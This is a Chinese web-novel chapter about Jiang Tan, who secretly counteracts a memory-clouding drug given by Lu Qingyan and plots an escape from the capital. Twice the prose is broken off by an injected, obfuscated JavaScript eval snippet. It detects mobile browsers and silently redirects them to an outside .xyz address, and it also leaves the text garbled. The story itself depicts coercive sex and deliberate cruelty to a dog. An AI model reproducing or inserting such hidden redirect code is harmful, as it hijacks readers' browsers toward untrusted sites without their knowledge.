看着姜昙通红的脸,陆青檐的脸上有些得意:“我等你回来。” 无耻狂徒…… 姜昙抖着手把车帘砸下去。 他看着马车远去,邓显来到他身边:“韦小姐已到前厅了。” . 媒婆在外说:“夫人,紫珠姑娘,今日要见的是城南的秀才,柳云书。时年二十又三,家中有他老母与他两口人……” 姜昙觉得头疼。 从早上醒来开始,脑子里就有一股刺痛,一阵一阵地袭来。 眼前隐约有一些画面,关于她怎么来到京城,怎么与宋庸纠缠在一起……思绪和记忆将后来的她分成另外一半,像飘渺的云雾一般抓不住。 她取出腰间荷包里的银针,她也不知道怎么藏在这里,只是潜意识就觉得藏在这里。 姜昙晃了晃脑袋。 手中银针往眉心扎去,细细的一根将要脱离的思绪和记忆归拢,合成一个完整的她。 媒婆在外面殷勤地问:“您觉得这人可还行?” 紫珠已然看呆了,大气也不敢出,唯恐出声扰乱了姜昙。 姜昙定了定神,并不取针,扬声说:“可行,在哪里见?” 媒婆喜滋滋说:“夫人想在哪里见,就在哪里见,柳秀才全听您安排。” 不过,陆大人亲自出了银子,怎么着也得在大酒楼见面,才不算失了身份。 “陆大人说——” 姜昙打断她:“那就在路边随意找一家小茶棚好了。” “这——” 姜昙:“怎么,莫非我猜错了,喝茶的银子还要我们出吗?柳秀才靠老母供养,家境贫寒,难道有多余的银两花销吗?” 这倒是有道理。 媒婆只好说:“那便依夫人所言。” 姜昙靠在紫珠身上,忽然吐了一口血出来。 紫珠慌张给她擦拭,面容担忧想要说什么,姜昙摇摇头。 她没有猜错。 陆青檐给她准备的是迷惑心智的药,昨晚吃了三颗,就头晕目眩昏昏欲睡。半夜惊醒时,她险些忘了自己身在何处,连何年何月都想不起来了。 若是换作常人,一定无知无觉地睡过去了。然而姜昙常年睡眠不好,惊梦已成习惯。 每一次醒来时,她就用描唇的朱砂笔在手心里写下自己记得的事,每一次靠着这些事提醒,她才能逐渐记得起来前因后果。 药丸初时甘甜,回味苦涩,有一股腻人的香气。含入口中仔细品味,还有一种辛辣麻舌的感觉。 这里面有一味毒药。 姜昙尝出来那种味道:乌头。 微量可散肺腑寒气,过量服用会中毒,衰竭而死。 每日服食三颗是最合适的份量,能让自己真的失了神智,迷惑陆青檐,同时还能以银针刺入印堂,清醒过来。 即使这样,她也只有不到半月的时间。半月以后,她会因为服毒过量而死,甚至更快。 马车停下,媒婆说:“夫人,紫珠姑娘,到了。” 紫珠用力握着姜昙的手,姜昙拍了拍她:“我没事,接下来要靠你了。” 杜良是一个遵守承诺的人。 姜昙相信,没有做到约定的事之前,他不会离开京城。就算离开,他也会寻到机会再回来。 杜良做过陆宅的护卫,他知道怎么避开陆青檐暗中安排的人。如果有人能帮她们,他是最好的人选。 不过……凡事也有万一。 寒风吹开车帘,露出马车外熙熙攘攘的百姓。 临近过年,即使寒风阵阵也没有泯灭百姓的热情,反而使街道集市比平日更为拥挤。 可外面的人再多,他们终归是要回乡去的。 杜良也不例外。 再有不到十日就是新年,他许久等不到她,或许会离开也不一定。 媒婆掀开了车帘,来搀扶两人下去。 姜昙两指在眉心捻了捻,将银针取了出来,重新缝在荷包上。 . “紫珠姑娘服侍主家这么多年,一定见识过不少奇珍吧!和你一比,在下这个大丈夫反倒显得孤陋寡闻。” 柳云书往不远处的瞄了一眼,那处坐着衣饰讲究的女子,梳着妇人发髻,一看就是哪家富户的夫人。 然而媒婆暗示的也正是如此,面前的这个婢女不是一般的婢女,而是大户人家的大丫鬟。 这次出府嫁人,是得到了主人的特许,并且承诺陪嫁数十箱嫁妆,不乏珍珠宝石、人参鹿茸。 紫珠说:“都是主人家的东西,我一个奴婢,不认识什么奇珍。” 柳云书一笑:“姑娘谦虚。可巧,在下也是谦逊之人,亦爱谦逊之人。” 说着,他起身添了盏茶,拿起一块糕点塞入口中,将剩下的都推了过去:“姑娘在高门里少见外面的吃食,其实未必比你们府里的差,姑娘尝尝?” 紫珠不耐烦地转过头去。 姜昙正四处乱看。 上一刻她才上了马车,下一刻就到了这里。小茶棚里四处投来打量的目光,让她无所适从。 这究竟是哪里?京城吗? 这就是她要逃出的京城,可出口在哪,她该从哪里逃? 一边这么想着,姜昙一边四处乱看,忽然对上了对面一个小摊上的目光。 那人头戴斗笠,身披蓑衣,像是码头卖完鱼的渔翁,到小摊上吃一碗馄饨。 渔翁面相很年轻,看着有些亲切,像南方人。 姜昙不由多看了两眼。 那渔翁对她眨了眨眼,非常微小的动作。 姜昙虽然注意到了,却不知道那是什么意思。 她想要过去,却忽然想起来,早晨起来时手臂上写的:到处都有眼睛。 她登时不敢轻举妄动了。 虽然只有身后一个媒婆陪她,可是本该闹哄哄的茶棚里静悄悄的。就连本该拥挤的人群,也似乎被什么隔开来,在她周围留出一片空地。 可这毕竟是外面,就算看得再严密,也会有破绽出来。 姜昙指着不远处的布庄:“我们去那里看看,让他们自己待会儿。” 媒婆一愣,连忙说好。 轮椅被推进布庄,掌柜随身伺候着,姜昙挑中了几匹布,随手扔给那媒婆。 又选中两件衣服,要到里屋里去试。媒婆要跟着,姜昙上下打量她一眼:“我嫌你手脏,换个人来。” 媒婆僵硬地笑,掌柜推了自家的娘子进去:“内子是绣娘,每日用鲜花泡手,让她伺候夫人。” 姜昙勉强同意了。 布庄娘子推着姜昙进里屋,要为她换衣裳。姜昙忽然皱眉,指着衣襟说:“怎么掉了一颗扣子?” 她用怀疑的神色看着布庄娘子:“你们的衣服,该不会都是这样的成色吧?我回去要告诉我的朋友们,以后不要来这里买衣服。” 布庄娘子连忙道:“这……之前应是好的,许是民妇忘了缝,民妇这就去补!” 说着,她掀帘往屋后去。 不多时,一人接近姜昙,正是先前对面的渔翁。只是渔翁脱下了蓑衣,穿上了姑娘的衣裙,脸上也涂了胭脂。 若不仔细看,真的和女人一样。 姜昙噗嗤一声笑出来。 杜良不自在地扯了扯裙裾,很快正色说:“只有半刻钟的时间,长话短说。” 他从衣襟掏出两张路引:“我知道你身边搜查严密,所以暂不交给你,埋在布庄门后的树下,你用时来取即可。京城人多眼杂,你要的船只能停在郊外河畔,你若要走,必须骑快马去找。” 话已说完,杜良说:“这约莫是我们最后一面,你可还有什么事要我办?” 姜昙什么也想不起来。 杜良说:“那我这就走了。” 他取下一件衣服,裹在自己的衣服外面。冬装厚重,正巧遮住了他的身形。 陆府的护卫谨慎,有丝毫风吹草动,都会分派人手出去,查探是否有异常。 他们会很快回来。 杜良正要离去,忽然想起来一件事,扭头深深看了姜昙一眼:“妙仪,你知道么?施茂林死了。” 杜良彷徨了很多日。 他虽然遵守和姜昙的约定,不管姜昙什么时候出现,他都会在京城等她。 可是他也是一个普通人。 他的娘子怀孕了,他原本不打算来的,施茂林去世的消息传来,才让他坚定了回来的念头。 姜昙的手指深陷入衣襟中,她忽然觉得呼吸困难,心悸不已。面前之人忽然分裂成两个,又合而为一。 离去前,杜良听见姜昙说:“帮我准备一副弓箭。” . 听到姜昙的消息,陆青檐手中的棋子偏移一瞬,掉在地上。 “怎么了?”正在沉思下一步的韦芳舒吓了一跳。 陆青檐说:“没什么,府里琐事多。” 韦芳舒落下一子,偷偷抬眼看他。 父亲来说时,她特意打听过这个人。听说此人的身世有些隐情,虽是国公府长子,可毕竟是个庶子,且国公府早已没落,在京城排不上号的。 唯一值得一提的是他的义父闫尚书,父亲说尚书许是下一任首辅。 故而韦芳舒才答应来看一看。 见了面,发觉这人和她想象的并不一样,不是外界所说那样,反而彬彬有礼,进退得宜。 对自己细心,却十分懂得分寸。 “临近过年,韦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14465575|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府也是这样。一大家子的琐事,我母亲带着两个婶娘都分身乏术,何况你们府里只有你一个人,若是娶……” 韦芳舒蓦地一顿,脸色红了。 她怎么如此失礼,抬头一看,陆青檐却并没有表示。 和及时添茶、故意输子一样,遇到让女子尴尬的时刻,他也很贴心地装作没有听到。 韦芳舒不由对他有几分满意了: “陆大人,新春那日我会随母亲赴皇后宫宴。宴会之后,若你有空闲,我们可在民间灯会一见。” 陆青檐仍未有表示。 韦芳舒等了片刻,才发觉他不是贴心,而是根本没有注意听。 “陆大人。” 韦芳舒提高了音量,他终于诧异地看她一眼,可惜晚了:“我今日累了,改日再约见吧。” 陆青檐竟也不出言留她:“伯安,送韦小姐回府。” 他究竟想不想要这桩婚事! 韦芳舒拂袖而去。 陆青檐坐在桌前,捻动黑色的棋子,深深呼吸。 方才下人来报,姜昙去布庄试衣服,待了半个时辰之久。期间护卫们发现疑似刺客痕迹,故而去查探,只离开了约莫一刻钟的时间。 最终什么都没有发生。 若是有刺客,分出去的一半人可以将刺客绞杀,最不济发出信号,以便剩下的人逃跑。若是分出去查探的人太少,有可能被悄无声息地杀死,后面的人就会陷入包围。 以前也不是没有发生过这种情况。 不该这样怀疑的。 可姜昙究竟什么时候回来? 陆青檐的头又痛起来,他轻轻按着,听着下人一拨一拨地回来通报。 姜昙离开布庄,去了药铺,离开药铺,又去馄饨摊坐着。 她的腿是坏了,却像一只坐不住的兔子,到处蹦蹦跳跳。 蹦跳到天黑,终于舍得归家了。 回来时,媒婆的神情难看。陆青檐看向姜昙,难免笑容推她进屋:“玩了什么?” 姜昙语言简短地描述了一遍,对他说:“柳秀才不好,他娶娘子是为了生儿子,还要生五个。这对女人的身体有损伤,何况生男生女,和女人也没有关系。” 陆青檐没有应和,有些话,他说出来,她听了会不高兴。 他说:“那就换。” 媒婆连声应是。 吃晚饭时,姜昙如坐针毡。 他不再只盯着她看了,而是盯着她带回来的那一堆东西看。 姜昙见他实在好奇,将买回来的那一堆东西摊开在他面前,示意他随意看。 陆青檐虽然摇头,却目不转睛地看着她展示,他分明就很想看。 姜昙给他看布庄的布料,又给他看小摊上买的香包、木簪,各种小玩意儿。 最后她拿起一堆针:“对了,我今天和医馆里的老大夫学了一套针法,这可以缓解你的眼疾。” 姜昙也有私心。 她银针用的不熟练,正想找个人练习一番。眼前这个人对她几乎有求必应,不知道他会不会同意。 姜昙低着头,生怕被他看出来自己的心思。 没有见他答应,于是偷看他一眼,不想就是这一眼,被抓了个正着。 陆青檐的眼神炙热,身体也贴了过来:“你想治好我的眼?” 姜昙脸颊微热,往一旁躲:“你要是怕疼就算了。” 姜昙偷看他,发现陆青檐看了一眼闪着寒光的银针,眼中的炙热散了些。 然而最后,他还是答应了。 姜昙说:“你可以闭上眼。” 他却不肯,眼睁睁看着一根根银针钻入皮肤、骨隙。 姜昙咽了咽口水:“如果扎疼了你,记得叫我一声。我学艺不精,听说扎偏穴位,或许会让人半身不遂。” 说完,她察觉衣袖被抓紧了些。 看来他其实也很害怕,宋庸一向是很怕疼的。 刚这么想着,手下的身躯一颤,姜昙发现方才扎歪的地方,竟冒出了血珠,连忙取出来。 她抱歉地将血珠擦去,对着伤口吹了吹:“对不起,对不起!” 陆青檐捉住她的手,被她折磨得额头冒汗:“你是故意的。” “我不是故意的,宋少爷。”姜昙连连摆手:“我认真学了,只是刚学医术,还记不准穴位。我……” 陆青檐没能注意到她说的“刚学医术”,却听到了“宋少爷”三字。 他总算知道她哪里不对了。 她不是二十一岁的姜昙,而是十七岁的姜昙,吴江书生姜昙。 原来如此。 姜昙被他盯得头皮发麻,却还强自镇定说:“既然你不信我的医术,那就不试好了。” 在他的注视下,姜昙取下所有的银针,推着轮椅要走。 像白天一样,轮椅忽然推不动,陆青檐这一次直接将半个身子压在她上面。 “你、你别靠这么近……” “为什么不能这么近?” 姜昙受不了了,从他的臂弯下钻出去,却被陆青檐捞着腰抱起来。 她瞪着眼看他。 姜昙记得宋庸虽然矜娇混账,可从来都是对她不屑一顾的。不屑她的医术,不屑她的看法。 两人总是拌嘴,以她的沉默告终,却从来没有离这么近过。连同白天那个亲吻,堪称惊悚话本里的情节。 唯一值得安慰的,是他面无表情的脸,仿佛下一刻就能说出那些讽刺的话,恢复正常。 然而事情大大出乎姜昙的意料。 “心跳得这么快。”他正色探入她的衣襟,殷红的唇微动:“藏了什么在里面?” 姜昙察觉到一只温热的手,有力地侵入胸前深入,甚至在缓缓移动。 酥麻之意冲上脑门,她一下子涨红了脸:“没藏什么!我要回去睡觉了!” 浑身一轻,姜昙被抱了起来,进入晨起看到的那顶金丝帐。 帐顶是荼靡花纹,帐外是昏黄的烛光,透着金线进来,在人脸上投下灿灿的光,添了几分庄严肃穆之感。 可偏偏是在做这种事。 姜昙浑身乱拧,四处挡陆青檐的手,却挡不住什么,很快散乱了衣襟。 陆青檐笑她:“像一只毛虫。” 姜昙脸颊通红,如同即将煮开的沸水,做着最后的挣扎:“我的腿疼……” “忍着。” 这话说的无情,他又补充:“轻轻的,我们快一点。” 烛泪团团落下。 陆青檐唤人来抬了热水,先给姜昙擦了一遍,她还睡着,看样子醒不来。 擦至双腿时,拆开纱布看了看,先前的伤口在慢慢恢复,已生出了粉嫩的血肉。 应该快好了,料想方才不碍事。 然而想了想,陆青檐还是让人请来孙太医,隔着帐子转述双腿的情况。 孙太医说:“再过半个月,就可以试着下地行走。” 陆青檐依照吩咐,又上了一遍药。 姜昙嫌冷,缩腿不肯,他便将她的腿箍在膝上。 涂药时,他忽然想起先前的事:“寻常女子怀孕,风险有几成?” 孙太医说:“那可多了去了。头两月时胎象不稳,极易滑胎。后几个月胎象稳后,且不论害喜等症状,若不慎跌倒或遭受撞击,成型的胎儿流出,对母体损伤更大。就算是足月生产时,也有可能胎位不正难产。若母体原本就虚弱,生产时更是危险,甚至有性命之忧……” 陆青檐想起很久以前听到的传闻:“我曾听船上仆妇说,某地有男人受孕……” 孙太医大笑:“男人无胞宫,怎么可能受孕,哈哈哈……” 哈哈了半晌,他忽然意识到陆青檐没有笑。 大笑变成了干笑,孙太医讪讪说:“长公子先前不是要了避孕的药物?一时不用担忧此事。” 回过神来,陆青檐也觉得荒谬。 方才他竟真的有一刻在想,或许这世上真的有男人能受孕呢? 荒谬,荒谬至极。 80. 第 80 章 接下来几日,姜昙照常出门。 桌上有一堆公务,陆青檐掀开一本,却无心处理。待回过神来,已经过了午饭的时间,探子们的奏报又到了。 “夫人午食一碗云吞,两个糖葫芦,五块糖糕……” 陆青檐心道:这么多甜食,她也不嫌腻得慌。 “……夫人与员外刘郎忽起争执,吵嚷半刻有余。” 合上奏报,陆青檐说:“将先前姓柳的书生带来。” 柳云书正襟危坐,怕眼前人看轻了自己,不敢乱看。 “阁下的意思是,要我娶紫珠姑娘为妻?可我二人先前言语有分歧,婚后定然不和,勉强在一起,恐怕也是一对怨侣。” 陆青檐拍拍手。 门外下人抬上来一个半人高的箱子,掀开来看,里面是白花花的银两。 “答应与她成亲,这些就都是你的。”陆青檐说:“成亲之后,还有一个箱子会送到你的府上,银子只会更多。” 柳云书的眼睛挪不开了:“这、这,感情之事,怎么能……” 陆青檐心中嗤笑。 面上却殷切劝说:“柳先生,读书做官不就是为了银子吗。有了这些银子,你的母亲不用在冬日洗衣劳作,旧疾也可以得到医治。换句话说,你是在尽孝。更何况,紫珠姑娘也只是想要一个贴心人,你莫非以为自己不够资格吗?我看你,倒是哪里都好。” 柳云书心动了。 对,他不是贪图银两,而是在尽孝。 陆青檐将一纸文书递过去:“成亲后,高州府会有你的位置。虽然地处偏僻,可山高皇帝远,又是文官,也不算辱你柳家门楣。过个两三年,你若想再调回来,尽可给我写信。” 这话说得客气。 岂止是不辱门楣,简直是飞黄腾达了!天上砸下这么大一个馅饼,没有人会错过它。 柳云书的态度立时就变了,先前的文人姿态荡然无存,低眉顺眼地请示:“学生定不负大人所托。敢问大人,有什么要学生办的?” 陆青檐笑说:“我要你婚后携全家搬去高州府,三年内不准回京,更不许与通信。” 想了想,他还有一个要求:“年前必须完婚。” 那么年后就要举家离京,正值新年,这未免也太急了。 然而如此丰厚的条件摆在这里,什么要求都不过分。 柳云书连声应是。 . 这一日,姜昙回来得很早。 陆青檐从尚书府回来,听说姜昙已经回来,就要过去找她。 不料到了姜昙的寝院外,发现邓显几人在院里逗弄一只奇丑无比的狗。 陆青檐皱眉:“哪来的畜生,丢出去!” 邓显却捏着小狗的脖颈,拎到陆青檐眼前:“是夫人买回来的,特意给长公子玩。” 陆青檐不由多看了它一眼。 那狗通身灰色,撑着圆圆的眼珠子乱转,在半空中挥舞着爪子不消停。 看着一副蠢样。 一问经过,果然是姜昙从路边的杂耍班子里救下的。可如果这只蠢狗连火圈都钻不过去,那么要它有何用? 那小狗被邓显放下,一摇一晃地跑过来,咬住了陆青檐的衣摆,呜呜着撕扯起来。 陆青檐下意识就要踢开它。 然而邓显在一旁感慨:“和乌雪有几分相似,虽然还小着,可不失凶狠的性子。” 不管是挑人还是挑狗,姜昙的眼光可真够差的。 陆青檐翻来覆去地看,嫌弃地摇头:这哪里和乌雪有半分相似之处? 然后许久之后,他还是说: “先养着,别让它死了。” 他说着要去进院,守门的婢女却说:“夫人已睡下了。” 睡得这么早? 陆青檐看了看天色,又看了一眼寝院里,确实一片漆黑。 叫来今日暗中跟随的下人,翻了翻姜昙的行程。她和昨日一样,出去不是吃就是玩,没什么异常的。 或许是累了。 . 紫珠的婚事定了下来。 兜兜转转,还是那个姓柳的书生,姜昙觉得一眼看不过去的人不可信。 然而媒婆却说:“柳秀才回去反思过错误,回来和紫珠姑娘道歉,诚意摆得十足呢。” 姜昙问紫珠:“你喜欢他吗?” 紫珠看了一眼姜昙身后,不远处坐着的陆青檐。虽然他在与自己对弈,却不经意看了她一眼。 她当即跪下磕头:“奴婢愿意,谢夫人成全。” 亲事就这样仓促地定下来。 柳云书那边催办得很急,说是家中母亲重病,正好借着婚事冲喜。 姜昙觉得不妥,柳家那边的礼数却一样不少,聘礼给的更足,媒婆连声说着有福气。 姜昙想给紫珠准备嫁妆,回头一看,属于自己的竟没有几件东西。管家送来了库房账簿,告诉她长公子让夫人随意取用。 三媒六聘的礼走过去,很快到了腊八这日——成婚吉日。 姜昙双腿不便,只送到了洞房外,就被陆青檐拦住了:“新婚之夜,外人再去添乱就不合适了。” 陆青檐摸摸她的脸:“紫珠以后会有自己的丈夫和孩子,总不能陪你一辈子,是不是?” 姜昙沉默着,看起来不高兴。 陆青檐推她出门,离开柳家,门外有下人候着,他暗中朝邓显招手,那条蠢狗被抱了过来。 陆青檐接过来,看姜昙并未注意这边,手下用力。 姜昙忽然听到小狗在呜呜叫。 “它怎么在这?” 姜昙仰头,发现先前救下来的小狗右腿无力耷拉着,正在陆青檐的怀中。 陆青檐将狗放到她膝上,观察她的神情:“今日它偷跑出去,折断了腿,还未来得及看大夫。” 姜昙眉头皱起来,查看小狗的腿伤后:“得包扎一下才行。” 陆青檐问:“我记得前面有医馆,要去吗?” “当然,好不容易救下它。” 陆青檐笑着,顺势推她走入繁华的街道。 在医馆耽搁半晌,两人走出来。 姜昙摸着膝上酣睡的小狗:“给它取什么名字好呢?” 想了几个,似乎都不满意。 陆青檐很喜欢两人相处的时候,没有外人打扰,最后一个阻碍也消失了,实在让他松了一口气。 他挥手,示意身后的人远远跟着,边和姜昙说:“要吃糖糕吗?” 陆青檐记得她最近很喜欢吃。 话说出去半晌,却不见回应,陆青檐低头,看到姜昙竟睡了过去。 又累了? 她最近好像总是累。 不过看面色尚且红润,似乎并无异常。不过……姜昙脸上的胭脂是不是涂得太厚了? 陆青檐伸出手指,在姜昙唇上蹭到一抹殷红……口脂也很重。 “阿昙?” 陆青檐来到她面前,正要唤醒她,突然被什么人撞了一下,身形不稳,只得用轮椅才能稳住。 回头一看,撞他的是一个小童,手上的银色烟花还在燃放着。 银色的狐裘衣摆蹭上一块污泥,如同白纸沾上墨点,甩也甩不掉。 想起姜昙还在,陆青檐不耐烦地说:“滚开。” 小童吓得愣住。 手上的烟花握不住,火星掉在陆青檐身上,很快烧出一个焦黑的洞。 陆青檐的脸顷刻间冷下来。 小童忽然哭了出来。 “怎么了?”姜昙醒了。 陡然看见另一张温和的脸,小童跑了过去:“夫人,对不起,我不是故意的。” 姜昙看向陆青檐,身后的下人不知何时冒出来,正给他整理衣摆。 而陆青檐眉间萦绕着阴郁之气,显然是在忍着怒意。 “下次不要在闹市乱跑。”姜昙摸摸小童的辫子,让他离开。 陆青檐看着她将人放走,挥退下人过来:“阿昙做了好人,倒是给咱们府里的下人多添了一件缝补的差事。” 姜昙说:“那小童身上穿着新衣,看着像是今日过生辰。你的衣服我来补,容他高兴过一天生辰。” 陆青檐想起方才姜昙握着小童的画面,脸上多出一抹笑:“算了,看在你的面上,放了他也罢。” 只盼望以后,他们也生一个儿子出来,任凭烧狐裘,哪怕烧了房子,他都乐意得很。 姜昙看着他近在咫尺的脸,面上还有莫名的喜意,不知道在想什么,又自行高兴去了。 她按下浑身的鸡皮疙瘩:“我听他们说,快到你的生辰了,是哪一日?” 陆青檐说:“我也不知,许是除夕,许是新年,许是到一月去。总归是那几天,不过她后来疯了,也记不清楚了。” 就连陆秋松也不知道是哪一日,真奇怪,他不怕自己不是他的子嗣吗?别的就算了,竟然连这个都不记。 “她”是陆青檐的母亲。 姜昙问:“可是我听他们说,往年你过生辰的,今年也会过的吧?” 陆青檐直起身来: “因为不知具体是哪一日,所以宋员外索性将整个一月都当做我的生辰庆祝。以前在宋府,总是从腊月开始准备,正月里连同春节、元宵,热热闹闹地操办一个月。” 只是宋员外死后,没人这么做过。下人们只知道个模糊,所以庆祝得也稀里糊涂。 姜昙心道,那就是后日了。 她握紧他的双手:“那今年我为你操办吧,在你最喜欢的酒楼。听说那里还有射箭、对诗、游船之类的比赛,我们可以去看。” 说完,姜昙仰头:“好不好?” 自从服了那药,她仿佛忘了吴江发生的所有事,记忆停在与他决裂之前。 那药可真是个好东西。堪比灵药仙丹,不多不少,刚巧将她留在两人最美好的时候。 她的眼中有忐忑、紧张,像是怕他不同意,可他怎么会不同意。 陆青檐蹲下来,看着她的双眼:“你要给我准备什么惊喜?” 姜昙别扭地转过头:“哪有什么惊喜,到底好是不好?” “当然好!好的不能再好。” 陆青檐恨不得今晚就去那里。 然而邓显从暗处出现,煞风景地提醒:“长公子,该走了。” 这一去,陆青檐被尚书留着用过饭,又去了陆国公府。 忙完后回来,已到了深夜。 姜昙又睡了。 最近几日姜昙睡得很早,他们好几日没有同房,然而他实在思念她。明日有更多的事要忙,或许也难见她几面。 犹豫一番,陆青檐还是决定,进去看一看她再走。 姜昙睡得深沉。 陆青檐拨开她睡得凌乱的额发,温然看了半晌,忽然蹙眉:“夫人这几日脸色都这样差?” 婢女小心说:“许是光线昏暗,夫人不喜欢房里太亮,白日看着气色都好的。” 陆青檐沉默片刻,伸手去拉床头的密盒,掀开琉璃瓶来看,药丸一颗不多,一颗不少。 是定量服用的,应当无事。 这时姜昙忽然翻了个身,伸手遮在脸上:“晃眼……” 这样看,方才仿佛是错觉。 陆青檐将密盒放回去,吹熄了一盏灯,姜昙安静下来,似乎又睡过去了。 他又想起她的腿:“夫人腿伤如何了?” 婢女说:“看着快好了。” 那就好。 临走时,陆青檐细细嘱咐:“夜里注意着动静,隔一刻钟看一眼,守夜的人尤其要盯紧,不能出差错。” “是。” 门外絮絮叨叨的交谈声传来。 姜昙睁眼,难耐地呼吸。 每一次动作,双膝都传来难以言喻的痛意,她细细喘息着,用力砸着自己的腿骨。 她的腿快好了,但不能快点好。 只有不能行动的时候,陆青檐才能放她出去。一旦她的腿有能行动的迹象,他那隐藏在暗处的怀疑就会滋生壮大起来。 想到这里,她看了一眼门外婢女的动静,确定她没有注意到,再次重重砸了下去。 做完这一切,姜昙气喘吁吁地躺在床上。 趁着这股痛意没有过去,一手取出琉璃瓶,将里面的丸药倒入口中。 这一次,她吃了五颗。 明日再搓五颗泥丸放进去,最后的关头了,不能让陆青檐起疑。 第二日醒来,姜昙坐在床上,恍惚了好一阵子,才认出来这是哪里。 又花了许多时候,她记起昨日要做的事,掀起袖子,上面写着:自行上妆。 房里时刻备着温水。 姜昙的腿疼得厉害,从地上爬过去,到轮椅上坐着,到妆台前。 镜中人脸色白得像鬼一样,唇上没有血色。 姜昙将唇脂涂得极厚,胭脂扑了三遍,才将脸上的憔悴之意遮挡住。 门外的婢女听到动静,敲了敲门。 姜昙将手上的朱砂痕迹擦干净,理了理鬓发:“进来。” 婢女推门而入,喜滋滋地说:“长公子前些时日命人裁了新衣,今日来给夫人试一试。” 姜昙看了她半晌,也没认出她的名字。 不止她,连同她身后的一群婢女,她都记不起来。 姜昙笑着挑了半晌,最终说:“我要试花团锦簇的那一件。” 陆青檐忙得团团转。 辗转于国公府、尚书府,甚至是礼部侍郎府。 直到除夕夜才有空闲坐下来,和姜昙一起看窗外的烟花。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14473391|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陆青檐看着外面的景象说:“若是你腿伤痊愈,我们可以去玩雪。” 可惜,昨日孙太医来过一趟,看了姜昙腿上的伤口,发现先前诊治有误,腿伤竟又加重了。 这一次,恐怕要两个月后才能好了。 姜昙看他一眼:“你嫌我吗?” 陆青檐只是笑:“怎么会嫌你,我很喜欢你这样。” 他也盼着她好,可若是一辈子这样,反倒叫人有种岁月静好的安心之感。 两人拥着守岁,直到天明。 陆青檐亲吻着姜昙的唇角,她也揽着他的肩,似有无限柔情等待倾付。 陆青檐心念一动,捞她坐在腿上,细细碾磨她的唇脂。 约莫他有些过分,姜昙忽然抓紧了他的头发。 然而预料中的痛意并没有传来,姜昙只是握紧他的发尾,轻轻晃了晃。 陆青檐心下忽然软了一片,他从没有此刻这么幸福过。 浑身的神经绷紧,手上不自觉用力,察觉到姜昙抗拒地推他,陆青檐恍惚中不知何年何月。 他以为她还在恼她。 “别怕,其实我问过孙太医,吃过一段时日的药,也很小心,不会有孩子。” 然而姜昙不是在说这件事,她让他听外面的动静:“天亮了,邓显在叫你。” 正月初一,他该去拜年,很多人都在等他。 陆青檐不舍地摸了摸姜昙的脸:“等我回来。” 姜昙点头:“好,我在酒楼等你,等你回来过生辰。” 她的举动,百忙之中他有所耳闻。 转了东市转西市,转了南街转北街,买了一大堆东西,下人们都查过没什么异常,只是他不知道。 为了保留她的惊喜。 从尚书府出来,陆青檐有一堆事要忙,有许多人要见。 然而他忽然想起柳云书来,找来邓显问:“他什么时候离京?” 邓显说:“明日一早就走。” 他才觉得安心了些。 “进宫。” . 姜昙来到酒楼。 掌柜等候已久,前几日这位夫人也是这么来的,如何伺候,他早已驾轻就熟。 掌柜看了一眼乱糟糟的室内,放着一堆东西,大约要亲手做什么东西给长公子。 他乐得做这样的事。 掌柜说:“门外只留一个机灵的小子,若有命令,想吃什么玩什么,夫人随时传唤。” 姜昙点头:“你去吧,不要叫他偷看,我自己一个人能行。” 门被关上。 姜昙再也忍不住,捂着砰砰直跳的心口,瘫坐在轮椅上。她等着胃里那股恶心的呕意过去,撑着椅子慢慢站起来。 先前腿伤得太重,不留一丝余地,如今恢复行走也很艰难。 姜昙计算着时辰,数过一个又忘了另一个,没办法,只能掰着指头,想稚子一样算数。 还有四个时辰。 宫宴散去之前,陆青檐不能离开,她还有四个时辰。 虽不知道陆青檐为什么偏爱这里,可是她提起时,他显然放下了戒心。 并且她先前故意在街市徘徊,一定让暗中的人习惯了。 故而这四个时辰是最松懈的。 紫珠在外面等着她,她要出去与她汇合,再想办法出城,找到那条船,只有四个时辰。 这是千载难逢的好机会。 姜昙松开支撑,忍着疼痛在地上行走,脑子里晕晕乎乎,口舌也发麻,脚下虚浮如踩在云上。 姜昙重重摔下去,却不敢发出声音,待那小厮敲门,她扬声说:“没事。” 接着重复先前的动作。 . 酒过三巡,皇帝离开。 陆青檐也跟着离开,半道却被请到了官家女眷的席面上。 他先前并不知道是为什么,毕竟皇后常年不露面。等到了地方,他才发现,不是皇后请他,而是侍郎家的小姐请他。 韦芳舒身边还有几个官家小姐,饶有兴致地打量着他,眼神在他的脸上辗转。 一个身穿杏色袄衣的姑娘笑嘻嘻的:“陆大人新年好。” 陆青檐不耐烦跟这群无所事事的小姐们玩。 只对韦芳舒道:“韦小姐新年好,庸还有事,先行一步。” “哎——这就走了?”杏衣姑娘说:“听说你投壶投得极好,现在看来也不过如此,还未说出来,你就不战而退了。芳舒,这人也没你说的千般好嘛!” 陆青檐步子止住。 宫宴上为了各种玩意儿都有,现成的东西摆在那,陆青檐投壶,一连投了十个都中。 杏衣女子还是不服:“投壶又不能代表什么。” 陆青檐看了看韦芳舒,重点在她,她被杏衣女子说动,仍不满意。 “那你想怎样?” 杏衣女子指着远处屋檐上的雪团:“除非你能射中那个。” 陆青檐应下:“好。” 拉弓射出一箭,他根本不看方向,许久后宫人取箭回来,箭上却没有雪。 杏衣女子不屑地笑,陆青檐却从箭上取下一朵梅花来:“庸箭术不精,只能射下枝头一朵梅花。今日韦小姐头上素净,送给小姐装饰。” 